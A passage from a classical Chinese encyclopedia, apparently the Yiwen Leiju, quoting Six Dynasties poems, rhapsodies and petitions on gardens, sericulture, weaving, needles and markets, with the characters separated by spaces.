佛 住 处 . 及 阿 难 半 身 塔 . 其 城 里 本 庵 婆 罗 女 家 . 为 佛 起 塔 . 今 故 在 城 南 三 里 道 西 . 庵 婆 罗 女 以 园 施 佛 住 处 .\n【 诗 】 宋 陶 潜 杂 诗 曰 . 开 荒 南 野 际 . 守 拙 归 园 田 . 方 泽 十 余 亩 . 草 屋 八 九 闲 . 榆 竹 荫 后 檐 . 桃 李 罗 堂 前 . 结 庐 在 人 境 . 而 无 车 马 喧 . 问 君 何 能 尔 . 心 远 地 自 偏 . 采 菊 东 篱 下 . 悠 然 望 南 山 . 秋 菊 有 佳 色 . 裛 露 掇 其 英 . 泛 此 忘 忧 物 . 远 我 达 世 情 .\n宋 谢 灵 运 还 旧 园 诗 曰 . 浮 舟 千 仞 壑 . 总 辔 万 寻 颠 . 流 沫 不 足 险 . 石 林 岂 为 艰 . 夫 子 昭 情 素 . 探 怀 授 往 篇 .\n宋 谢 庄 北 宅 秘 园 诗 曰 . 夕 天 霁 晚 气 . 轻 霞 澄 暮 阴 . 微 风 清 幽 幌 . 余 日 照 青 林 . 收 光 渐 窗 歇 . 穷 园 自 荒 深 . 绿 池 翻 素 景 . 秋 槐 响 寒 音 . 伊 人 傥 同 爱 . 弦 酒 共 栖 寻 .\n齐 竟 陵 王 游 后 园 诗 曰 . 托 性 本 禽 鱼 . 栖 情 闲 物 外 . 萝 径 转 连 绵 . 松 轩 方 杳 蔼 . 丘 壑 每 淹 留 . 风 云 多 赏 会 .\n齐 王 俭 春 日 家 园 诗 曰 . 徙 倚 未 云 暮 . 阳 光 忽 已 收 . 羲 和 无 停 晷 . 壮 士 岂 淹 留 . 苒 苒 老 将 至 . 功 名 竟 不 修 . 稷 契 匡 虞 夏 . 伊 吕 翼 商 周 . 抚 躬 谢 先 哲 . 解 绂 归 山 丘 .\n梁 简 文 帝 游 韦 黄 门 园 诗 曰 . 息 车 冠 盖 里 . 停 辔 仲 长 园 . 檐 疏 远 兴 积 . 宾 至 羽 觞 繁 .\n又 夜 游 北 园 诗 曰 . 星 芒 侵 岭 树 . 月 晕 隐 城 楼 . 暗 花 舒 不 觉 . 明 波 动 见 流 .\n又 临 后 园 诗 曰 . 隐 沦 游 少 海 . 神 仙 入 太 华 . 我 有 逍 遥 趣 . 中 园 复 可 嘉 . 千 株 同 落 叶 . 百 尺 共 寻 霞 .\n梁 元 帝 游 后 园 诗 曰 . 暮 春 多 淑 气 . 斜 景 落 高 舂 . 日 照 池 光 浅 . 云 归 山 望 浓 . 入 林 迷 曲 径 . 度 渚 跃 危 峰 .\n又 晚 景 游 后 园 诗 曰 . 高 轩 聊 骋 望 . 焕 景 入 川 梁 . 波 横 山 渡 影 . 雨 罢 叶 生 光 . 日 移 花 色 异 . 风 散 水 文 长 .\n梁 沈 约 宿 东 园 诗 曰 . 槿 篱 疏 复 密 . 荆 扉 新 且 故 . 树 顶 鸣 风 飙 . 草 根 积 霜 露 . 惊 去 不 息 . 征 鸟 时 返 顾 . 茅 栋 啸 愁 鸱 . 平 冈 走 寒 兔 . 夕 阴 带 层 阜 . 长 烟 引 轻 素 .\n又 行 园 诗 曰 . 寒 瓜 方 卧 垄 . 秋 菰 亦 满 陂 . 紫 茄 纷 烂 漫 . 绿 芋 郁 参 差 . 初 菘 向 堪 把 . 时 韭 日 离 离 .\n【 赋 】 汉 枚 乘 梁 王 兔 园 赋 曰 . 脩 竹 檀 栾 . 夹 池 水 旋 . 兔 园 并 驰 . 鹯 鹗 鹞 雕 . 翡 翠 鸲 鹆 . 巢 枝 穴 藏 . 被 塘 临 谷 . 声 音 相 闻 . 啄 尾 离 属 . 于 是 晚 春 早 夏 . 邯 郸 襄 国 . 相 与 杂 沓 而 往 款 焉 . 高 冠 扁 焉 . 长 剑 闲 焉 . 左 挟 弹 焉 . 右 执 鞭 焉 . 日 移 乐 衰 . 游 观 西 园 . 从 容 安 步 . 斗 鸡 走 兔 . 俛 仰 钓 射 . 煎 熬 炰 炙 . 极 乐 到 暮 . 若 夫 采 桑 之 妇 . 连 袖 方 路 .\n齐 谢 朓 游 后 园 赋 曰 . 积 芳 兮 选 木 . 幽 兰 兮 翠 竹 . 上 芜 芜 兮 阴 景 . 下 田 田 兮 被 谷 . 左 蕙 畹 兮 弥 望 . 右 芝 原 兮 写 目 . 山 霞 起 而 削 成 . 水 积 明 以 经 复 . 于 是 敞 风 闼 之 蔼 蔼 . 耸 云 馆 之 迢 迢 . 周 步 檐 以 升 降 . 对 玉 堂 之 泬 寥 . 尔 乃 日 栖 榆 柳 . 霞 照 夕 阳 . 孤 蝉 已 散 . 去 鸟 成 行 . 惠 气 湛 兮 帷 殿 肃 . 清 阴 起 兮 池 馆 凉 .\n梁 裴 子 野 游 华 林 园 赋 曰 . 谅 无 庸 于 殿 省 . 且 栖 迟 而 不 事 . 譬 笼 鸟 与 池 鱼 . 本 山 川 而 有 思 . 伊 暇 日 而 容 与 . 时 遨 游 以 荡 志 . 正 殿 则 华 光 弘 敞 . 重 台 则 景 阳 秀 出 . 赫 弈 翚 焕 . 阴 临 郁 律 . 绝 尘 雾 而 上 征 . 寻 云 霞 而 蔽 日 . 经 增 城 而 斜 趣 . 有 空 之 石 室 . 在 盛 夏 之 方 中 . 曾 匪 风 而 自 栗 . 溪 谷 则 沱 潜 泒 别 . 峭 峡 则 险 难 壁 立 . 积 峻 窦 溜 . 阑 干 草 石 . 苔 藓 駮 荦 . 丛 攒 既 而 . 登 望 徙 倚 . 临 远 凭 空 . 广 观 逖 听 . 靡 有 不 通 .\n梁 江 淹 梁 王 兔 园 赋 曰 . 或 重 古 轻 今 者 . 仆 曰 . 何 为 其 然 哉 . 无 知 音 则 已 矣 . 聊 为 古 赋 体 . 以 奋 枚 叔 之 制 云 . 于 是 金 塘 缅 演 . 绿 竹 被 陂 . 缭 绕 青 翠 . 若 近 复 远 . 水 鸟 鴐 鹅 . 鶵 鸱 鳵 雁 . 上 飞 衡 阳 . 下 宿 沔 汉 . 十 十 五 五 . 忽 合 而 复 散 . 于 是 大 夫 之 徒 . 称 诗 而 归 . 春 阳 始 晚 . 未 华 未 稀 . 卒 逢 邯 郸 之 女 . 蕙 色 玉 质 . 绮 裳 下 见 . 锦 衣 上 出 .\n周 庾 信 小 园 赋 曰 . 若 夫 一 枝 之 上 . 巢 甫 得 安 巢 之 所 . 一 壶 之 中 . 壶 公 有 容 身 之 地 . 岂 必 连 闼 洞 房 . 南 阳 樊 重 之 第 . 绿 墀 青 琐 . 西 汉 王 公 之 宅 . 余 有 数 亩 弊 庐 . 寂 寞 人 外 . 聊 以 拟 伏 . 聊 以 避 风 霜 . 虽 复 晏 婴 近 市 . 不 求 朝 夕 之 利 . 潘 岳 面 城 . 且 见 闲 居 之 乐 . 尔 乃 窟 室 徘 徊 . 聊 同 凿 坏 . 琴 号 珠 柱 . 书 名 玉 杯 . 有 棠 梨 而 无 馆 . 足 酸 枣 而 非 台 . 犹 得 欹 侧 八 九 丈 . 从 斜 数 十 步 . 榆 柳 三 两 行 . 梨 桃 百 余 树 . 拨 蒙 密 兮 见 窗 . 行 欹 斜 兮 得 路 . 蝉 有 蓊 兮 不 鸣 . 雉 无 罗 兮 何 惧 . 草 树 混 淆 . 枝 格 相 交 . 山 为 匮 覆 . 水 有 堂 坳 . 崎 岖 兮 狭 室 . 穿 漏 兮 茅 茨 . 檐 直 倚 而 妨 帽 . 户 平 行 而 碍 眉 . 坐 帐 无 鹤 . 支 床 有 龟 . 鸟 多 闲 暇 . 花 随 四 时 . 心 则 历 陵 枯 木 . 发 则 睢 阳 乱 丝 . 一 寸 二 寸 之 鱼 . 三 竿 两 竿 之 竹 . 离 披 落 格 之 藤 . 烂 熳 无 丛 之 菊 . 落 叶 半 床 . 狂 花 满 屋 . 名 为 野 人 之 家 . 是 谓 愚 公 之 谷 . 诚 偃 息 于 茂 林 . 乃 久 羡 于 抽 簪 . 虽 有 门 而 长 ● . 实 无 水 而 恒 沉 . 草 无 忘 忧 之 意 . 花 无 长 乐 之 心 . 鸟 何 事 而 逐 酒 . 鱼 何 情 而 听 琴 . 薄 晚 闲 闺 . 老 幼 相 携 . 蓬 头 王 霸 之 子 . 椎 髻 梁 鸿 之 妻 . 树 搔 搔 而 风 急 . 天 惨 惨 而 云 低 . 聚 空 仓 而 雀 噪 . 惊 懒 妇 而 蝉 啼 . 昔 早 滥 于 吹 嘘 . 藉 文 言 而 庆 余 . 门 有 通 德 . 家 藏 赐 书 . 遂 山 崩 川 竭 . 水 碎 瓦 裂 . 关 山 则 风 月 凄 怆 . 陇 水 则 肝 肠 断 绝 . 百 龄 兮 焂 忽 . 菁 华 兮 已 晚 . 不 雪 雁 门 之 羁 . 先 念 房 陵 之 远 . 非 淮 海 兮 可 变 . 非 金 丹 兮 能 转 . 不 曝 骨 兮 龙 门 . 终 低 头 兮 马 阪 .\n【 颂 】 晋 潘 尼 后 园 颂 曰 . 芒 芒 在 昔 . 悠 悠 结 绳 . 大 朴 未 散 . 玄 化 沾 凝 . 羲 皇 继 踵 . 三 代 相 承 . 五 德 更 王 . 文 质 迭 兴 . 天 命 匪 谌 . 佑 谦 辅 信 . 乃 眷 我 皇 . 光 有 大 晋 . 应 期 纳 祚 . 天 人 是 顺 . 和 气 四 充 . 惠 泽 旁 润 . 神 祇 告 祥 . 四 灵 效 质 . 游 龙 升 云 . 仪 凤 翳 日 . 甘 露 晨 流 . 醴 泉 涌 溢 . 华 夏 既 宁 . 八 荒 静 谧 . 人 亦 有 言 . 吾 何 以 休 . 乃 延 卿 士 . 从 皇 以 游 . 长 筵 远 布 . 广 幕 四 周 . 嘉 肴 惟 芳 . 旨 酒 思 柔 . 岩 岩 峻 岳 . 汤 汤 玄 流 . 翔 鸟 鼓 翼 . 游 鱼 载 浮 . 明 明 天 子 . 肃 肃 庶 官 . 文 士 济 济 . 武 夫 桓 桓 . 讲 艺 华 林 . 肆 射 后 园 . 威 仪 既 具 . 弓 矢 斯 闲 . 恂 恂 谦 德 . 穆 穆 圣 颜 . 赐 以 宴 饮 . 诏 以 话 言 . 黍 稷 既 登 . 货 财 既 丰 . 仁 风 潜 运 . 皇 化 弥 隆 . 征 夫 释 甲 . 战 士 罢 戎 . 遐 夷 慕 义 . 绝 域 望 风 . 无 或 慢 易 . 在 始 虑 终 . 无 或 安 逸 . 在 盈 思 冲 .\n【 引 】 谢 庄 怀 园 引 曰 . 鸿 飞 从 万 里 . 飞 飞 河 岱 起 . 辛 勤 越 霜 雾 . 联 翩 溯 江 汜 . 去 旧 国 . 违 旧 乡 . 旧 海 悠 且 长 . 回 首 瞻 东 路 . 延 翮 向 秋 方 . 登 楚 都 . 入 楚 关 . 楚 地 萧 瑟 楚 山 寒 . 岁 去 冰 未 已 . 春 来 雁 不 还 . 风 肃 幌 兮 露 濡 庭 . 汉 水 初 绿 柳 叶 青 . 朱 光 霭 霭 云 英 英 . 离 禽 喈 喈 又 晨 鸣 . 菊 有 秀 兮 松 有 蕤 . 忧 来 年 去 容 发 衰 . 流 阴 逝 景 不 可 追 . 临 堂 危 坐 怅 欲 悲 . 试 托 意 兮 向 芳 荪 . 心 绵 绵 兮 属 荒 樊 . 想 绿 苹 兮 既 冒 沼 . 念 幽 兰 兮 已 盈 园 . 夭 桃 晨 暮 发 . 春 鹦 旦 夕 喧 . 青 苔 芜 石 路 . 宿 草 尘 蓬 门 .\n【 咏 】 晋 湛 方 生 游 园 咏 曰 . 谅 兹 境 之 可 怀 . 究 川 阜 之 奇 势 . 水 穷 清 以 澈 鉴 . 山 邻 天 而 无 际 . 乘 初 霁 之 新 景 . 登 北 馆 以 悠 瞩 . 对 荆 门 之 孤 阜 . 傍 渔 阳 之 秀 岳 . 乘 夕 阳 而 含 咏 . 杖 轻 策 以 行 游 . 袭 秋 兰 之 流 芬 . 幙 长 猗 之 森 脩 . 任 缓 步 以 升 降 . 历 丘 墟 而 四 周 . 智 无 涯 而 难 恬 . 性 有 方 而 易 适 . 差 一 豪 而 遽 乖 . 徒 理 存 而 事 隔 . 故 羁 马 思 其 华 林 . 笼 雉 想 其 皋 泽 . 矧 流 客 之 归 思 . 岂 可 忘 于 畴 昔 .\n【 启 】 梁 张 缵 谢 东 宫 赉 园 启 曰 . 性 爱 山 泉 . 颇 乐 闲 旷\n. 虽 复 伏 膺 尧 门 . 情 存 魏 阙 . 至 于 一 丘 一 壑 . 自 谓 出 处\n无 辨 . 常 愿 卜 居 幽 僻 . 屏 避 喧 尘 . 傍 山 临 流 . 面 郊 负 郭\n. 依 林 结 宇 . 憩 桃 李 之 夏 阴 . 对 径 开 轩 . 采 橘 柚 之 秋 实\n. 而 王 畿 陆 海 . 亩 号 一 金 . 泾 渭 土 膏 . 豪 杰 所 竞 . 徙 居\n好 畤 . 必 待 使 越 之 装 . 别 馆 河 阳 . 亦 资 牧 荆 之 富 . 此 园\n左 带 平 湖 . 修 陂 千 顷 . 右 临 长 薄 . 清 潭 百 仞 . 前 逼 逸 陌\n. 朝 夕 爽 垲 . 后 望 钟 阜 . 表 里 烟 霞 . 每 剩 春 迎 夏 . 华 卉\n竞 发 . 背 秋 向 冬 . 云 物 澄 霁 . 窥 瞰 户 牖 . 不 异 登 临 . 升\n降 阶 墀 . 已 穷 历 览 . 舟 楫 所 届 . 累 日 不 能 究 其 源 . 鱼 鸟\n之 丰 . 山 泽 不 能 逾 其 美 .\n又 曰 九 月 筑 场 圃 .\n传 曰 . 晋 侯 取 蒍 氏 之 圃 以 为 囿 .\n论 语 曰 . 樊 迟 请 学 为 圃 . 子 曰 . 吾 不 如 老 圃 .\n列 子 曰 . 三 亩 之 圃 不 能 耘 .\n楚 辞 曰 . 忽 死 兰 圃 . 楚 有 蕙 圃 .\n山 海 经 曰 . 槐 江 之 山 . 实 惟 帝 之 平 圃 . 即 悬 圃 也 .\n淮 南 子 曰 . 昆 仑 山 有 曾 城 九 重 . 其 高 万 一 千 里 . 悬 圃 凉 风 在 昆 仑 之 中 . 是 其 疏 圃 . 疏 圃 之 池 . 满 足 潢 水 .\n穆 天 子 传 曰 . 舂 山 之 泽 . 清 水 出 泉 . 温 和 无 风 . 飞 鸟 百 兽 之 所 饮 . 先 王 之 所 谓 悬 圃 .\n【 诗 】 梁 庾 肩 吾 从 皇 太 子 出 玄 圃 诗 曰 . 春 光 起 丽 谯 . 屣 履 步 山 椒 . 阁 影 临 飞 盖 . 鹦 鸣 入 洞 箫 . 水 还 登 故 渚 . 树 长 荫 前 桥 . 绿 荷 生 倚 叶 . 丹 藤 上 细 苗 . 顾 循 惭 振 藻 . 何 用 拟 琼 瑶 .\n【 铭 】 隋 江 总 玄 圃 石 室 铭 曰 . 仙 山 石 . 仙 宇 石 墙 .\n地 云 正 域 . 道 示 修 羊 . 紫 烟 碧 露 . 绛 雪 玄 霜 . 广 成 不 践\n. 王 烈 未 翔 . 移 华 甲 观 . 徙 构 震 方 . 远 跨 飞 梁 . 俛 临 倒\n景 . 琼 橤 珠 树 . 金 阶 玉 井 . 映 日 分 晖 . 摇 风 共 影 . 岫 浓\n翠 合 . 林 虚 桂 静 . 朔 去 偷 桃 . 董 来 货 杏 . 檐 非 刻 削 . 户\n恣 登 临 . 迎 春 花 近 . 避 暑 凉 深 . 秋 云 卷 闇 . 冬 霰 停 阴 .\n桐 栖 凤 采 . 竹 化 龙 吟 . 轻 飞 乱 色 . 激 溜 成 音 . 天 纵 储 睿\n. 生 知 作 两 . 弦 诵 余 隙 . 仁 智 为 赏 . 河 曲 停 游 . 洛 滨 息\n往 . 祥 梨 吐 秀 . 瑞 鷰 流 响 . 一 物 或 镌 . 万 国 斯 仰 .\n又 曰 . 季 春 之 月 . 后 妃 齐 戒 亲 桑 . 以 劝 蚕 事 . 蚕 事 既 登 . 分 茧 称 丝 . 以 供 郊 庙 之 服 .\n东 观 汉 记 曰 . 明 德 马 后 . 置 织 室 . 蚕 于 濯 龙 中 . 数 往 来 观 视 . 内 以 为 娱 乐 . 外 以 先 女 功 .\n续 汉 书 曰 . 贵 人 助 蚕 . 玳 瑁 钗 . 加 簪 珥 .\n又 曰 . 光 武 建 武 二 年 . 野 蚕 成 茧 . 野 民 收 其 絮 .\n玄 中 记 曰 . 大 月 氏 有 牛 . 名 曰 日 及 . 割 取 肉 一 二 斤 . 明 日 疮 愈 . 汉 人 入 国 . 示 之 以 为 珍 异 . 汉 人 曰 . 吾 国 有 虫 . 大 如 小 指 . 名 曰 蚕 . 食 桑 叶 . 为 人 吐 丝 . 外 国 复 不 信 有 之 .\n古 今 注 曰 . 元 帝 永 元 四 年 . 东 莱 郡 东 牟 山 . 有 野 蚕 为 茧 . 茧 生 蛾 . 蛾 生 卵 . 卵 着 石 . 收 得 万 余 石 . 民 以 为 蚕 絮 .\n【 赋 】 晋 杨 泉 蚕 赋 曰 . 惟 阴 阳 之 产 物 . 气 陶 化 而 播 流\n. 物 受 气 而 含 生 皆 缠 绵 而 自 周 . 伊 夫 蚕 之 为 物 . 功 巨 大\n而 弘 优 . 成 天 子 之 衮 冕 . 着 皇 后 之 盛 服 . 昭 五 色 之 玄 黄\n. 作 四 时 之 单 复 . 是 以 王 者 贵 此 功 焉 . 使 皇 后 命 三 宫 之\n夫 人 . 又 世 妇 之 吉 者 . 亲 桑 于 北 宫 . 二 月 初 吉 . 遂 布 令\n于 天 下 . 百 辟 兆 民 . 使 咸 务 焉 . 是 以 仲 春 之 月 . 吉 日 庚\n午 . 既 差 我 马 . 惟 蚕 之 祖 . 编 使 童 男 . 作 以 童 女 . 温 室\n既 调 . 蚕 母 入 处 . 陈 布 说 种 . 柔 和 得 所 . 晞 用 清 明 . 浴\n用 谷 雨 . 爰 求 柔 桑 . 切 若 细 缕 . 起 止 得 时 . 燥 湿 是 候 .\n逍 遥 偃 仰 . 进 止 自 如 . 仰 似 龙 腾 . 伏 似 虎 趺 . 员 身 方 腹\n. 列 足 双 俱 . 昏 明 相 推 . 日 时 不 居 . 粤 召 役 夫 . 筑 室 于\n房 . 于 房 伊 何 . 在 庭 之 东 . 东 受 日 景 . 西 望 余 阳 . 既 酌\n以 酒 . 又 挹 以 浆 . 壶 餐 在 侧 . 敷 修 在 旁 . 我 邻 我 党 . 我\n助 我 康 . 于 是 乎 蚕 事 毕 矣 . 大 务 时 成 . 阁 纡 卷 薄 . 洒 扫\n宫 庭 . 蚕 母 须 饰 . 从 容 自 宁 . 至 于 再 宿 三 日 . 乃 开 阖 启\n房 . 是 瞻 是 观 . 方 者 四 张 . 员 者 纡 盘 . 纵 者 相 属 . 横 者\n交 连 . 分 薪 柴 而 解 着 . 茧 系 互 而 相 攀 . 竞 以 拿 攫 . 再 笑\n再 言 . 惰 者 悦 而 忘 解 . 劣 者 勉 以 增 勤 . 是 月 也 . 天 子 以\n太 牢 之 礼 . 献 茧 于 寝 庙 . 皇 后 亲 缲 三 盆 . 然 后 辨 于 夫 人\n世 妇 . 至 于 百 辟 卿 士 . 下 及 兆 民 . 咸 趋 缲 事 . 尔 乃 丝 如\n凝 膏 . 其 白 伊 雪 . 以 为 衣 裳 . 冠 冕 服 饰 . 礼 神 纳 宾 . 各\n有 分 职 . 以 给 百 礼 . 罔 不 斯 服 . 夫 功 也 起 于 绵 . 绵 成 于\n翼 . 翼 颂 之 难 . 周 论 之 罔 极 . 殷 斯 勤 斯 . 如 何 勿 忆 .\n魏 志 曰 . 中 山 恭 王 裒 . 徙 封 濮 阳 . 太 和 二 年 就 国 . 尚 俭 约 . 敕 妃 妾 纺 绩 织 纴 . 习 为 家 人 之 事 .\n博 物 志 曰 . 近 世 有 居 海 渚 者 . 每 年 八 月 . 有 浮 查 来 . 此 人 乃 立 于 查 上 . 忽 忽 不 觉 昼 . 奄 至 一 处 . 有 城 郭 屋 舍 . 望 室 中 多 见 织 妇 . 见 一 丈 夫 牵 牛 . 渚 次 饮 之 . 惊 问 此 何 处 . 答 曰 . 君 可 诣 蜀 . 问 严 君 平 .\n搜 神 记 曰 . 南 海 之 外 有 鲛 人 . 水 居 如 鱼 . 不 废 绩 织 .\n【 诗 】 古 诗 曰 . 迢 迢 牵 牛 星 . 皎 皎 河 汉 女 . 纤 纤 濯 素 手 . 札 札 弄 机 杼 .\n梁 简 文 帝 咏 中 妇 织 流 黄 诗 曰 . 翻 花 满 阶 砌 . 愁 人 独 上 机 . 浮 云 西 北 起 . 孔 雀 东 南 飞 . 调 丝 时 绕 腕 . 易 蹑 乍 牵 衣 . 鸣 梭 逐 动 钏 . 红 妆 映 落 晖 .\n梁 刘 孝 威 在 郤 县 遇 见 人 织 寄 妇 诗 曰 . 妖 姬 含 怨 情 . 织 纬 起 秋 声 . 度 梭 环 玉 动 . 踏 蹑 佩 珠 明 . 经 稀 疑 杼 . 纬 断 恨 丝 轻 . 蒲 萄 始 欲 罢 . 鸳 鸯 犹 未 成 . 云 栋 共 徘 徊 . 纱 窗 相 向 开 . 窗 疏 眉 语 度 . 纱 轻 眼 笑 来 . 昽 昽 隔 浅 沙 . 的 的 见 妆 华 . 镂 玉 同 心 藕 . 杂 宝 连 枝 花 . 红 巾 向 后 结 . 金 篸 临 鬓 斜 . 机 顶 挂 流 苏 . 机 傍 垂 结 珠 . 青 丝 引 伏 兔 . 黄 金 绕 鹿 卢 . 艳 采 裙 边 出 . 芳 脂 口 上 渝 . 百 城 交 问 遗 . 五 马 共 踟 蹰 . 直 为 闺 中 人 . 守 故 不 要 新 . 梦 啼 渍 花 枕 . 觉 泪 湿 罗 巾 . 独 眠 真 自 难 . 重 衾 犹 觉 寒 . 玄 忆 凝 脂 缓 . 弥 想 横 尘 欢 . 行 驱 金 络 骑 . 归 就 城 南 端 . 南 端 稍 有 期 . 想 子 亦 劳 思 . 罗 襦 久 应 罢 . 花 钗 堪 更 治 . 新 妆 不 点 黛 . 余 还 自 画 眉 .\n陈 徐 陵 咏 织 妇 诗 曰 . 纤 纤 运 玉 指 . 脉 脉 正 蛾 眉 . 振 蹑 开 交 缕 . 停 梭 续 断 丝 . 檐 前 初 月 照 . 洞 户 未 垂 帷 . 弄 机 行 掩 泪 . 弥 令 织 素 迟 .\n陈 萧 诠 赋 婀 娜 当 轩 织 诗 曰 . 东 南 初 日 照 秦 楼 . 西 北 织 妇 正 娇 羞 . 绮 窗 犹 垂 翡 翠 幌 . 珠 帘 半 上 珊 瑚 钩 . 新 妆 入 机 映 春 牖 . 弄 杼 鸣 梭 挑 纤 手 . 何 曾 织 素 让 新 人 . 不 掩 流 苏 推 中 妇 . 三 日 五 匹 未 言 迟 . 衫 长 腕 弱 绕 轻 丝 . 绫 中 转 蹑 成 离 鹄 . 锦 上 回 文 作 别 诗 . 不 惜 纨 素 同 霜 雪 . 更 伤 秋 扇 箧 中 辞 .\n【 赋 】 后 汉 王 逸 机 赋 曰 . 帝 轩 龙 跃 . 庶 业 是 昌 . 俯 覃 圣 恩 . 仰 览 三 光 . 爰 制 布 帛 . 始 垂 衣 裳 . 于 是 取 衡 山 之 孤 桐 . 南 岳 之 洪 樟 . 结 灵 根 于 盘 石 . 托 九 层 于 岩 傍 . 性 条 畅 以 端 直 . 贯 云 表 而 剀 仓 . 仪 凤 晨 鸣 翔 其 上 . 怪 兽 群 萃 而 陆 梁 . 于 是 乃 命 匠 人 . 潜 江 奋 骧 . 逾 五 岭 . 越 九 冈 . 斩 伐 剖 析 . 拟 度 短 长 . 胜 复 回 转 . 克 像 干 形 . 大 匡 淡 泊 . 拟 短 则 川 平 . 光 为 日 月 . 盖 取 昭 明 . 三 轴 列 布 . 上 法 台 星 . 两 骥 齐 首 . 俨 若 将 征 . 方 圆 绮 错 . 微 妙 穷 奇 . 虫 禽 品 兽 . 物 有 其 宜 . 兔 耳 跧 伏 . 若 安 若 危 . 猛 犬 相 守 . 窜 身 匿 蹄 . 高 楼 双 峙 . 下 临 清 池 . 游 鱼 衔 饵 . 瀺 灂 其 陂 . 鹿 卢 并 起 . 纤 缴 俱 垂 . 一 往 一 来 . 匪 劳 匪 疲 . 于 是 暮 春 代 谢 . 朱 明 达 时 . 蚕 人 告 讫 . 舍 罢 献 丝 . 或 黄 或 白 . 蜜 凝 脂 . 纤 纤 静 女 . 经 之 络 之 . 尔 乃 窈 窕 淑 媛 . 美 色 贞 怡 . 解 鸣 佩 . 释 罗 衣 . 披 华 幕 . 登 神 机 . 乘 轻 杼 . 览 床 帷 . 动 摇 多 容 . 俯 仰 生 姿 .\n晋 杨 泉 织 机 赋 曰 . 伊 百 工 之 为 伎 . 莫 机 巧 之 最 长 . 似\n人 君 之 列 位 . 象 百 官 之 设 张 . 立 匡 郭 之 制 度 . 如 城 隔 之\n员 方 . 应 万 机 以 布 错 . 实 变 态 之 有 章 . 是 以 孟 秋 之 月 .\n首 杀 庶 物 . 工 民 呈 材 . 取 彼 椅 梓 . 桢 干 脩 枝 . 名 匠 骋 工\n. 美 乎 利 器 . 心 畅 体 通 . 肤 合 理 同 . 规 矩 尽 法 . 因 事 作\n容 . 好 无 不 媚 . 事 无 不 供 . 于 是 乎 女 工 就 . 素 丝 轻 . 贯\n综 纪 . 简 奸 清 . 织 女 扬 翚 . 美 乎 如 芒 . 丽 姿 妍 雅 . 动 有\n令 光 . 足 闲 蹈 蹑 . 手 习 槛 匡 . 节 奏 相 应 . 五 声 激 扬 . 浊\n者 含 宫 . 清 者 应 商 . 和 声 成 柔 . 慷 慨 成 刚 . 屈 申 舒 缩 .\n沉 浮 抑 扬 . 开 以 厌 闲 . 阖 以 高 梁 . 进 以 悬 鱼 . 退 以 侠 彊\n. 气 变 相 应 . 阴 感 乎 阳 . 僶 俛 不 及 . 进 却 颉 颃 . 事 物 之\n宜 . 法 天 之 常 . 既 合 利 用 . 得 道 之 方 .\n【 赋 】 楚 荀 况 针 赋 曰 . 有 物 于 此 . 生 于 山 阜 . 处 于 室 堂 . 无 知 无 功 . 善 治 衣 裳 . 不 盗 不 窃 . 穿 窬 而 行 . 日 夜 合 离 . 以 成 文 章 . 已 能 合 从 . 又 善 连 横 . 下 覆 百 姓 . 上 饰 帝 王 .\n汉 曹 大 家 针 缕 赋 曰 . 镕 秋 金 之 刚 精 . 形 微 妙 而 直 端 .\n性 通 远 而 渐 进 . 博 庶 物 而 一 贯 . 惟 针 缕 之 列 迹 . 信 广 博\n而 无 原 . 退 逶 迤 以 补 过 . 似 素 丝 之 羔 羊 . 何 斗 筲 之 足 筭\n. 咸 勒 石 而 升 堂 .\n鲁 连 子 曰 . 孟 尝 君 逐 于 齐 . 谭 子 曰 . 富 贵 则 就 . 贫 贱 则 去 . 此 物 之 必 至 . 而 理 固 然 也 . 愿 君 忽 怨 . 请 以 市 论 . 市 朝 则 盈 . 夕 则 虚 . 非 朝 爱 而 夕 则 憎 之 也 . 势 使 然 .\n汉 书 曰 . 楚 王 戊 与 吴 通 . 申 公 白 公 二 人 谏 . 不 听 . 衣 之 赭 衣 . 使 杵 臼 椎 舂 于 市 .\n又 曰 . 刺 绣 文 . 不 如 倚 市 门 . 此 言 末 业 贫 者 之 资 .\n又 曰 . 司 隶 校 尉 解 光 . 奏 王 根 曰 . 纵 横 恣 意 . 大 治 室 第 . 中 立 土 山 . 而 立 两 市 . 殿 上 赤 墀 . 户 下 青 璅 .\n东 观 汉 记 曰 . 樊 重 治 家 产 业 . 起 庐 舍 高 楼 连 阁 . 陂 池 灌 注 . 竹 木 成 林 . ● 门 成 市 .\n华 峤 后 汉 书 曰 . 宋 登 为 汝 阴 令 . 为 政 明 能 . 号 称 神 父 . 出 为 颖 川 太 守 . 市 无 二 价 . 道 不 拾 遗 .\n汉 名 臣 奏 曰 . 太 尉 属 应 劭 等 议 . 以 为 鲜 卑 隔 在 漠 北 . 犬 羊 为 群 . 无 君 长 帅 . 庐 落 之 居 . 又 其 天 性 . 贪 而 无 信 . 故 自 汉 兴 于 兹 . 数 犯 障 塞 . 且 无 宁 岁 . 吏 民 创 禁 . 不 与 交 关 . 唯 至 胡 市 . 乃 成 靡 服 . 非 畏 威 怀 德 . 实 玩 中 国 珍 异 之 故 耳 .\n戴 延 之 西 征 记 曰 . 洛 阳 旧 有 二 市 . 一 曰 金 市 . 在 宫 西 大 城 内 .\n【 诗 】 梁 庾 肩 吾 看 放 市 诗 曰 . 旗 亭 出 御 道 . 游 目 暂 回 车 . 既 非 随 舞 鹄 . 聊 自 入 看 书 . 悬 龟 识 季 主 . 榜 酒 见 相 如 . 日 中 人 已 合 . 黄 昏 故 未 疏 .\n陈 张 正 见 赋 得 日 中 市 朝 满 诗 曰 . 云 阁 绮 霞 生 . 旗 亭 丽 日 明 . 尘 飞 三 市 路 . 盖 入 九 重 城 . 竹 叶 当 鑪 满 . 桃 花 带 绶 轻 . 唯 见 争 名 利 . 安 知 大 隐 情 .\n【 教 】 梁 简 文 帝 移 市 教 曰 . 临 淮 作 守 . 白 鹿 随 而 忘 反 . 萧 令 解 绶 . 黄 雀 从 而 不 归 . 况 复 卫 卒 遮 车 . 追 民 拥 榜 . 瞻 言 前 古 . 眇 愧 弘 多 . 吾 旅 泊 冬 川 . 阻 兹 涸 水 . 日 中 总 会 . 交 贸 迁 移 . 虽 樊 无 外 取 . 晏 得 所 求 . 而 旗 亭 旧 体 . 自 有 常 处 . 不 容 近 违 孔 奋 . 远 逐 曹 参 . 正 恐 旧 肆 盈 虚 . 或 成 雕 废 .\n周 庾 信 答 移 市 教 曰 . 昔 张 楷 硕 儒 . 尚 移 弘 农 之 市 . 宜\n官 ○ 原 讹 宫 . 据 冯 校 本 改 . 妙 篆\n. 犹 致 酒 垆 之 客 . 况 复 德 总 郇 周 . 声 高 梁 楚 . 希 风 慕 义\n之 士 . 举 袂 成 帷 . 卧 辙 反 车 之 流 . 磨 肩 相 接 . 遂 使 王 充\n阅 市 之 处 . 远 出 荒 郊 